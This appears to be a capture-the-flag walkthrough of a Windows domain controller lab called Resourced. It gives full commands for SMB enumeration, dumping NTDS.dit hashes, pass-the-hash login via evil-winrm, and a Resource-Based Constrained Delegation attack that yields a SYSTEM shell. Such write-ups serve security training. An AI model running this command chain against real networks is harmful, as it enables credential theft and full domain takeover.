Resourced
Details
- OS: Windows
- Difficulty: Medium
- IP Address: 192.168.137.175
- Author: AETH3RON
Overview
Resourced is a Windows Domain Controller that exposes critical internal files due to weak permissions. The initial foothold is established by discovering credentials in a user description, which allows access to a share containing a backup of the Active Directory database (ntds.dit). After dumping the domain hashes and authenticating via WinRM, privilege escalation is achieved by exploiting a GenericWrite ACL on the Domain Controller to perform a Resource-Based Constrained Delegation (RBCD) attack.
Enumeration
Nmap
We begin by scanning the target to identify open ports and services.
nmap -Pn -sS -sV -p- 192.168.137.175 -oN nmap-basic
We perform a more comprehensive scan on the discovered ports to enumerate the Active Directory environment.
nmap -Pn -sC -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 192.168.137.175 -oN nmap-common
SMB
We proceed with basic SMB enumeration using NetExec to identify potential users or accessible information without authentication.
nxc smb 192.168.137.175 -u '' -p '' --users
We discover a critical information leak: the user V.Ventz has their password stored in the description attribute: HotelCalifornia194!
Foothold
With valid credentials, we enumerate the available shares to see what this user can access.
nxc smb 192.168.137.175 -u 'v.ventz' -p 'HotelCalifornia194!' --shares
We identify interesting shares. To thoroughly explore their contents, we use the spider_plus module.
nxc smb 192.168.137.175 -u 'v.ventz' -p 'HotelCalifornia194!' -M spider_plus
Analyzing the resulting JSON output, we confirm the existence of two critical files: ntds.dit and SYSTEM.
The ntds.dit file is the Active Directory database, and combined with the SYSTEM hive, we can extract all domain hashes offline. We download these files and use impacket-secretsdump to dump the hashes.
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
We successfully extract the NTLM hashes for all users. To gain a shell, we check which users belong to the Remote Management Users group, allowing for WinRM access.
nxc ldap 192.168.137.175 -u 'v.ventz' -p 'HotelCalifornia194!' -M group-mem -o GROUP="Remote Management Users"
The user L.Livingstone is a member. We use their hash to authenticate via Pass-the-Hash with evil-winrm.
evil-winrm -i 192.168.137.175 -u L.Livingstone -H '19a3a7550ce8c505c2d46b5e39d6f808'
Privilege Escalation
To identify escalation paths, we collect domain data using SharpHound.
.\SharpHound.exe -c All --zipfilename loot.zip
After importing the data into BloodHound, we discover that our user, L.Livingstone, has GenericWrite privileges over the Domain Controller object (RESOURCEDC).
This configuration allows us to perform a Resource-Based Constrained Delegation (RBCD) attack.
Resource-Based Constrained Delegation (RBCD)
RBCD allows an object (in this case, the DC) to decide which resources can impersonate users to it. Since we have write access to the DC object, we can configure it to “trust” a computer account that we control. Once trusted, our controlled computer can request a service ticket for the Administrator and access the DC.
We use bloodyAD to execute this attack. First, we create a new computer account (PwnMachine) that we control.
bloodyAD --host 192.168.137.175 -d resourced.local -u L.Livingstone -p 'aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808' add computer PwnMachine 'Hacker123!'
Next, we configure the Domain Controller to allow PwnMachine to delegate to it (configuring the msDS-AllowedToActOnBehalfOfOtherIdentity attribute).
bloodyAD --host 192.168.137.175 -d resourced.local -u L.Livingstone -p 'aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808' add rbcd RESOURCEDC$ PwnMachine$
Now, we request a Service Ticket (TGS) impersonating the Administrator for the CIFS service on the DC.
impacket-getST -spn cifs/RESOURCEDC.resourced.local -impersonate Administrator -dc-ip 192.168.137.175 'resourced.local/PwnMachine$:Hacker123!'
Finally, we export the ticket and use psexec (using Kerberos authentication) to gain a system shell on the Domain Controller.
export KRB5CCNAME=Administrator@cifs_RESOURCEDC.resourced.local@RESOURCED.LOCAL.ccache
impacket-psexec -k -no-pass RESOURCEDC.resourced.local
Business Impact
This attack chain demonstrates the severe consequences of exposed credential stores and misconfigured Active Directory permissions. The ability to dump the NTDS.dit database — containing all domain password hashes — represents a catastrophic breach equivalent to compromising every user account in the organization simultaneously. The subsequent Resource-Based Constrained Delegation attack via GenericWrite permissions highlights how a single misconfigured ACL entry can grant an attacker the ability to impersonate any user, including domain administrators. In regulated industries, this level of compromise would trigger mandatory breach notifications and potential regulatory penalties.
References
- RBCD Attack Guide:
- BloodyAD:
- NTDS Dumping:
- Wagging the Dog - RBCD Attack (Elad Shamir):
- ACL Abuse in Active Directory (harmj0y):
New recovered files, straight to your inbox. No noise.